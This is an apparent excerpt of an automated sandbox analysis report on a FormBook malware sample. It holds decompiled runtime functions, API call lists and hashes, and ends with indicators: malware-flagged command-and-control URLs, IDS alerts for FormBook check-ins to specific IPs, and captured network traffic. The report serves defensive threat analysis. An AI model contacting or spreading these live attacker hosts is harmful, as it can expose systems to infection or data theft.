																 *((intOrPtr*)(_t307 + 4)) =  *((intOrPtr*)(_t307 + 4)) + 1;
																_t292 = _v52;
																_v76 =  *((intOrPtr*)(_t307 + 4));
																goto L38;
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
						goto L51;
						L38:
					} while (_t292 < _v88);
				}
				L51:
				 *[fs:0x0] = _v16;
				_pop(_t299);
				_pop(_t308);
				_pop(_t266);
				return E00B1DB25(_t307, _t266, _v20 ^ _t313, _t292, _t299, _t308);
				goto L52;
			}

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,?,00000000,?), ref: 00B26A24

Part of subcall function 00B25A29: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00B2649D,?,00000000,-00000008), ref: 00B25AD5

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00B26C7F
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00B26CC7
GetLastError.KERNEL32 ref: 00B26D6A

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 88cde4cd0b3141dbf989e5ee2aff46f1330b0e00c9cf306721cc4a941e51f132
Instruction ID: ae88dde21ea68ad2baf61aec3781a0d31e9043732080261fd59f716421e6a2d3
Opcode Fuzzy Hash: 88cde4cd0b3141dbf989e5ee2aff46f1330b0e00c9cf306721cc4a941e51f132
Instruction Fuzzy Hash: EAD15C75E042689FCF15CFA8E880AADBBF5FF09344F2845AAE859E7351D730A941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00B278AB Relevance: 6.2, APIs: 4, Instructions: 168
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 70%

			E00B278AB(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t52;
				signed int _t53;
				intOrPtr _t54;
				signed int _t58;
				signed int _t61;
				intOrPtr _t71;
				signed int _t75;
				signed int _t79;
				signed int _t81;
				signed int _t84;
				signed int _t85;
				signed int _t97;
				signed int* _t98;
				signed char* _t101;
				signed int _t107;
				void* _t111;

				_push(0x10);
				_push(0xb33388);
				E00B1D900(__ebx, __edi, __esi);
				_t75 = 0;
				_t52 =  *(_t111 + 0x10);
				_t81 = _t52[1];
				if(_t81 == 0 ||  *((intOrPtr*)(_t81 + 8)) == 0) {
					L30:
					_t53 = 0;
					__eflags = 0;
					goto L31;
				} else {
					_t97 = _t52[2];
					if(_t97 != 0 ||  *_t52 < 0) {
						_t84 =  *_t52;
						_t107 =  *(_t111 + 0xc);
						if(_t84 >= 0) {
							_t107 = _t107 + 0xc + _t97;
						}
						 *(_t111 - 4) = _t75;
						_t101 =  *(_t111 + 0x14);
						if(_t84 >= 0 || ( *_t101 & 0x00000010) == 0) {
							L10:
							_t54 =  *((intOrPtr*)(_t111 + 8));
							__eflags = _t84 & 0x00000008;
							if((_t84 & 0x00000008) == 0) {
								__eflags =  *_t101 & 0x00000001;
								if(( *_t101 & 0x00000001) == 0) {
									_t84 =  *(_t54 + 0x18);
									__eflags = _t101[0x18] - _t75;
									if(_t101[0x18] != _t75) {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												__eflags =  *_t101 & 0x00000004;
												_t79 = 0;
												_t75 = (_t79 & 0xffffff00 | ( *_t101 & 0x00000004) != 0x00000000) + 1;
												__eflags = _t75;
												 *(_t111 - 0x20) = _t75;
												goto L29;
											}
										}
									} else {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												E00B1F6B0(_t107, E00B1DD40(_t84,  &(_t101[8])), _t101[0x14]);
												goto L29;
											}
										}
									}
								} else {
									__eflags =  *(_t54 + 0x18);
									if( *(_t54 + 0x18) == 0) {
										goto L32;
									} else {
										__eflags = _t107;
										if(_t107 == 0) {
											goto L32;
										} else {
											E00B1F6B0(_t107,  *(_t54 + 0x18), _t101[0x14]);
											__eflags = _t101[0x14] - 4;
											if(_t101[0x14] == 4) {
												__eflags =  *_t107;
												if( *_t107 != 0) {
													_push( &(_t101[8]));
													_push( *_t107);
													goto L21;
												}
											}
											goto L29;
										}
									}
								}
							} else {
								_t84 =  *(_t54 + 0x18);
								goto L12;
							}
						} else {
							_t71 =  *0xb35dcc;
							 *((intOrPtr*)(_t111 - 0x1c)) = _t71;
							if(_t71 == 0) {
								goto L10;
							} else {
								 *0xb37000();
								_t84 =  *((intOrPtr*)(_t111 - 0x1c))();
								L12:
								if(_t84 == 0 || _t107 == 0) {
									L32:
									E00B21BDC(_t75, _t84, _t97, _t101, _t107);
									asm("int3");
									_push(8);
									_push(0xb333a8);
									E00B1D900(_t75, _t101, _t107);
									_t98 =  *(_t111 + 0x10);
									_t85 =  *(_t111 + 0xc);
									__eflags =  *_t98;
									if(__eflags >= 0) {
										_t103 = _t85 + 0xc + _t98[2];
										__eflags = _t85 + 0xc + _t98[2];
									} else {
										_t103 = _t85;
									}
									 *(_t111 - 4) =  *(_t111 - 4) & 0x00000000;
									_t108 =  *(_t111 + 0x14);
									_push( *(_t111 + 0x14));
									_push(_t98);
									_push(_t85);
									_t77 =  *((intOrPtr*)(_t111 + 8));
									_push( *((intOrPtr*)(_t111 + 8)));
									_t58 = E00B278AB(_t77, _t103, _t108, __eflags) - 1;
									__eflags = _t58;
									if(_t58 == 0) {
										_t61 = E00B2733D(_t103, _t108[0x18], E00B1DD40( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])));
									} else {
										_t61 = _t58 - 1;
										__eflags = _t61;
										if(_t61 == 0) {
											_t61 = E00B2734D(_t103, _t108[0x18], E00B1DD40( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])), 1);
										}
									}
									 *(_t111 - 4) = 0xfffffffe;
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t61;
								} else {
									 *_t107 = _t84;
									_push( &(_t101[8]));
									_push(_t84);
									L21:
									 *_t107 = E00B1DD40();
									L29:
									 *(_t111 - 4) = 0xfffffffe;
									_t53 = _t75;
									L31:
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t53;
								}
							}
						}
					} else {
						goto L30;
					}
				}
			}

APIs

___AdjustPointer.LIBCMT ref: 00B27972
___AdjustPointer.LIBCMT ref: 00B27995
___AdjustPointer.LIBCMT ref: 00B27A31

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: e8091cadfab2c72a315a661d9b894d9e2c75e272234ce5991c6a0e9a18e6013e
Instruction ID: 9ce1cddbabfd9b02ea775fab5f4b8c0d461a9840a7b302688ac9d135b805916b
Opcode Fuzzy Hash: e8091cadfab2c72a315a661d9b894d9e2c75e272234ce5991c6a0e9a18e6013e
Instruction Fuzzy Hash: 1C51E672548326AFDB298F15F441BBE77E4EF00310F1445ADE8494B190EF31AD81CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00B1B280 Relevance: 6.1, APIs: 4, Instructions: 114COMMON

Download Yara Rule

APIs

SelectObject.GDI32 ref: 00B1B31B
SetBkColor.GDI32 ref: 00B1B37B
SetTextColor.GDI32 ref: 00B1B3A6
SelectObject.GDI32 ref: 00B1B3EE

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: ColorObjectSelect$Text
String ID:
API String ID: 2688426544-0
Opcode ID: 15204d7889b7d4ee718424de2254643bc94f90158ded52b64e65436cc75e511b
Instruction ID: 25aaa5e5efea74a3a60cb17f3e6e1f455637664ffda71bb538d2c14aedd46058
Opcode Fuzzy Hash: 15204d7889b7d4ee718424de2254643bc94f90158ded52b64e65436cc75e511b
Instruction Fuzzy Hash: F151A375A04208EFCB04DF68D198AACBBF1FF48310F5584A9E899DB351DB31EA81DB41

Uniqueness

Uniqueness Score: -1.00%

Function 00B18D50 Relevance: 6.1, APIs: 4, Instructions: 70windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32 ref: 00B18D7B
GetSystemMenu.USER32 ref: 00B18DB0
CreatePopupMenu.USER32 ref: 00B18DD2

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: Menu$CreateLongPopupSystemWindow
String ID:
API String ID: 3388415271-0
Opcode ID: dd4f153fcba8d97aa13f27ca6027ff68e7f7533383f50e922f1d839a82773c3c
Instruction ID: d131c500353de7bca9afc58454c60c4937c3c675cf2ca2aa83950ff7bac577dc
Opcode Fuzzy Hash: dd4f153fcba8d97aa13f27ca6027ff68e7f7533383f50e922f1d839a82773c3c
Instruction Fuzzy Hash: 1A317275A04204DFCB44EF68D188B9DBBF0FB48311F5184A9E8899B351DB74AA848B42

Uniqueness

Uniqueness Score: -1.00%

Function 00B28F6D Relevance: 6.0, APIs: 4, Instructions: 29
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00B28F6D(void* _a4, long _a8, DWORD* _a12) {
				void* _t13;

				_t13 = WriteConsoleW( *0xb348b0, _a4, _a8, _a12, 0);
				if(_t13 == 0 && GetLastError() == 6) {
					E00B28FE1();
					E00B28FC2();
					_t13 = WriteConsoleW( *0xb348b0, _a4, _a8, _a12, _t13);
				}
				return _t13;
			}

0x00b28f8a
0x00b28f8e
0x00b28f9b
0x00b28fa0
0x00b28fbb
0x00b28fbb
0x00b28fc1

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,00B28AD2,?,00000001,?,?,?,00B26DBE,?,?,00000000), ref: 00B28F84
GetLastError.KERNEL32(?,00B28AD2,?,00000001,?,?,?,00B26DBE,?,?,00000000,?,?,?,00B26709,?), ref: 00B28F90

Part of subcall function 00B28FE1: CloseHandle.KERNEL32(FFFFFFFE,00B28FA0,?,00B28AD2,?,00000001,?,?,?,00B26DBE,?,?,00000000,?,?), ref: 00B28FF1

___initconout.LIBCMT ref: 00B28FA0

Part of subcall function 00B28FC2: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00B28F5E,00B28ABF,?,?,00B26DBE,?,?,00000000,?), ref: 00B28FD5

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,00B28AD2,?,00000001,?,?,?,00B26DBE,?,?,00000000,?), ref: 00B28FB5

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 7ea464c898f610f6cea3eba7610962ae69b44d063c2bfddb9fe5ee2e3eecffe0
Instruction ID: b8e1075780b23b77b7aa60cd92c95c2ca4a54f40d60bc020490d9c19986fb248
Opcode Fuzzy Hash: 7ea464c898f610f6cea3eba7610962ae69b44d063c2bfddb9fe5ee2e3eecffe0
Instruction Fuzzy Hash: 9DF0AC36501174BBCF222F96EC0499D7FAAFB097A1B254850FE1996170CF7299209B91

Uniqueness

Uniqueness Score: -1.00%

Function 00B17930 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 134COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00B179EF
_strlen.LIBCMT ref: 00B17AEC

Strings

(, xrefs: 00B17A60

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: _strlen
String ID: (
API String ID: 4218353326-3887548279
Opcode ID: 3927a2385a8048bd62ba712d800553c0edaa0be7600f269819daf2c3671dc304
Instruction ID: 5cb90c0e59b73f9d078f1396750c005649f30d81ad647bcccf0b9a5c40a4583f
Opcode Fuzzy Hash: 3927a2385a8048bd62ba712d800553c0edaa0be7600f269819daf2c3671dc304
Instruction Fuzzy Hash: 44510671918209ABDB15DF58C486BEDBBF0FF04304F4488A9E898DB350DB38EA95CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00B2771B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 47%

			E00B2771B(void* __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr _a16, signed int* _a20, signed int _a24, signed int _a28, signed char _a32) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t37;
				signed int _t46;
				void* _t52;
				void* _t54;
				signed int* _t55;
				void* _t58;
				void* _t59;
				void* _t61;
				intOrPtr* _t63;

				E00B220D7(_a12);
				_pop(_t54);
				_t37 = E00B21C6E(_t52, _t54, __edx, _t59, _t61);
				_t55 = _a20;
				_t58 = _a4;
				if( *((intOrPtr*)(_t37 + 0x20)) != 0 ||  *_t58 == 0xe06d7363 ||  *_t58 == 0x80000026 || ( *_t55 & 0x1fffffff) < 0x19930522 || (_t55[8] & 0x00000001) == 0) {
					if(( *(_t58 + 4) & 0x00000066) == 0) {
						if(_t55[3] != 0) {
							L14:
							if( *_t58 != 0xe06d7363 ||  *((intOrPtr*)(_t58 + 0x10)) < 3 ||  *((intOrPtr*)(_t58 + 0x14)) <= 0x19930522) {
								L19:
								E00B27A82(_t58, _t58, _a8, _a12, _a16, _t55, _a32, _a24, _a28);
								goto L20;
							} else {
								_t63 =  *((intOrPtr*)( *((intOrPtr*)(_t58 + 0x1c)) + 8));
								if(_t63 == 0) {
									goto L19;
								}
								 *0xb37000(_t58, _a8, _a12, _a16, _t55, _a24, _a28, _a32 & 0x000000ff);
								return  *_t63();
							}
						}
						_t46 =  *_t55 & 0x1fffffff;
						if(_t46 < 0x19930521 || _t55[7] == 0) {
							if(_t46 < 0x19930522 || (_t55[8] >> 0x00000002 & 0x00000001) == 0) {
								goto L20;
							} else {
								goto L14;
							}
						} else {
							goto L14;
						}
					}
					if(_t55[1] != 0 && _a24 == 0) {
						L00B2731A(_a8, _a16, _t55);
					}
					goto L20;
				} else {
					L20:
					return 1;
				}
			}

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00B27724

Strings

csm, xrefs: 00B27746
csm, xrefs: 00B277B7

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: c2adaeec197610a436fa59bc035834eeb2a1bd978c9ae9f666604f53e8b99f3f
Instruction ID: 6ad24ab3b8c43c404f21e6eab74184285730a1d45ed981a6359ca0c1f0ffc89b
Opcode Fuzzy Hash: c2adaeec197610a436fa59bc035834eeb2a1bd978c9ae9f666604f53e8b99f3f
Instruction Fuzzy Hash: B431F535484235DBCF268F51ED448AA7BE5FF08315B1889DAF85C49121CB32CC61DF95

Uniqueness

Uniqueness Score: -1.00%

Function 00B14940 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

EnumFontFamiliesExW.GDI32 ref: 00B149D6

Strings

\, xrefs: 00B14961
1, xrefs: 00B14972

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: EnumFamiliesFont
String ID: 1$\
API String ID: 2229041460-1239263948
Opcode ID: b32755e038ed92e11ab9c34d3e6b6886e8c67fcfa50b07af088c3c41b013d290
Instruction ID: 5267023ceb1ae169475184bdf1d58063cf8b6782eae5bebd4a1fd57680da6eb4
Opcode Fuzzy Hash: b32755e038ed92e11ab9c34d3e6b6886e8c67fcfa50b07af088c3c41b013d290
Instruction Fuzzy Hash: 5E418F74A04208DFDB14DF58C084AAABBF0FF48354F55C4AAE88D8B362D775A985CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00B17480 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00B17575
GetLastError.KERNEL32 ref: 00B17587

Strings

write failed: %lu, xrefs: 00B1758D

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: write failed: %lu
API String ID: 442123175-171016427
Opcode ID: d2644c2fd44a2d24c24f67d0e74d6a486134529b187b89449dc0e87a26cd39cf
Instruction ID: d1d8cf221a06f1fae83d15218047a05db28df60601f4f254094e4f8c3bfb6ad4
Opcode Fuzzy Hash: d2644c2fd44a2d24c24f67d0e74d6a486134529b187b89449dc0e87a26cd39cf
Instruction Fuzzy Hash: 4F31D4B05082459FCB00EF18C488AEA7BF6EF54355F4189A9F8898B351D774E9D4CB82

Uniqueness

Uniqueness Score: -1.00%

Function 00B175B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00B17617
GetLastError.KERNEL32 ref: 00B17629

Strings

write failed: %lu, xrefs: 00B1762F

Memory Dump Source

Source File: 00000002.00000002.393507190.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000002.00000002.393394170.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393529256.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393542517.0000000000B34000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.393551749.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_b10000_febcldoukq.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: write failed: %lu
API String ID: 442123175-171016427
Opcode ID: 0c82012d2167a17ac64e85ad5364cb8017cece8db2ce26a7fe3b07f5578f58d5
Instruction ID: 986bd848135bfb21239294e3e84a5444773487822edb1ae0190d31dcec193554
Opcode Fuzzy Hash: 0c82012d2167a17ac64e85ad5364cb8017cece8db2ce26a7fe3b07f5578f58d5
Instruction Fuzzy Hash: FF1105705083049FC700EF1CD488BAA7BF5EB54355F5185B9E8898B351DB74D9D4CB92

Uniqueness

Uniqueness Score: -1.00%

Source: http://www.eufidelizo.com/henz/?ChMxG4C=wcp3urA+/rGtUuNVdXHur6CaD7Rg4XGXlvUWG7FdGjeYGPzd5j/g1Govvww0i9Uvwfj8E4D4P4OVv2O692MpWFmEiKCsF21Xzw==&8p08qr=2d0X	Avira URL Cloud: Label: malware
Source: http://www.patrickguarte.com/henz/?ChMxG4C=5p9Ov6C7qce51hIp6D8A72je8vUJddN77lLEFw6Ufibk2yN56suG3zROnD+rS7baXFO6PfoGYvZY6sqA3kYBdz817Owqh44+wA==&8p08qr=2d0X	Avira URL Cloud: Label: malware
Source: www.brennancorps.info/henz/	Avira URL Cloud: Label: malware
Source: http://www.patrickguarte.com/henz/	Avira URL Cloud: Label: malware
Source: http://www.lyonfinancialusa.com/henz/	Avira URL Cloud: Label: malware
Source: http://www.afterdarksocial.club/henz/	Avira URL Cloud: Label: malware

Source: eufidelizo.com	Virustotal: Detection: 8%			Perma Link
Source: www.eufidelizo.com	Virustotal: Detection: 6%			Perma Link

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49710 -> 206.233.197.135:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49710 -> 206.233.197.135:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49710 -> 206.233.197.135:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49712 -> 162.214.129.149:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49712 -> 162.214.129.149:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.5:49712 -> 162.214.129.149:80

Source: Joe Sandbox View	ASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US
Source: Joe Sandbox View	ASN Name: COGENT-174US COGENT-174US

Source: netsh.exe, 00000005.00000002.565764534.0000000003B56000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://code.jquery.com/jquery-3.3.1.min.js
Source: netsh.exe, 00000005.00000002.565764534.0000000003B56000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: http://gmpg.org/xfn/11
Source: qHpeBvr9cR.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: qHpeBvr9cR.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: explorer.exe, 00000003.00000000.356156439.000000000091F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.336262975.000000000091F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000003.00000000.303735560.000000000091F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: -ODfqI49.5.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: -ODfqI49.5.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: -ODfqI49.5.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: -ODfqI49.5.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: -ODfqI49.5.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: -ODfqI49.5.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: -ODfqI49.5.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
Source: -ODfqI49.5.dr	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: -ODfqI49.5.dr	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
Source: -ODfqI49.5.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: netsh.exe, 00000005.00000002.565816613.0000000003CE8000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.lyonfinancialusa.com/henz/?ChMxG4C=I97X75yj3reE70KD0jnZLHprtk7Ny9G/KKFZ2xPoakAfOE75REIsz

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Nov 2022 00:10:29 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Thu, 29 Sep 2022 21:55:23 GMTAccept-Ranges: bytesContent-Length: 11816Vary: Accept-EncodingContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 20 70 72 6f 66 69 6c 65 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 41 47 45 20 4e 4f 54 20 46 4f 55 4e 44 3c 2f 74 69 74 6c 65 3e 0a 0a 09 09 09 09 3c 21 2d 2d 20 41 64 64 20 53 6c 69 64 65 20 4f 75 74 73 20 2d 2d 3e 0a 09 09 09 09 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 6a 71 75 65 72 79 2d 33 2e 33 2e 31 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 20 20 20 20 20 20 20 20 0a 09 09 09 09 3c 73 63 72 69 70 74 20 73 72 63 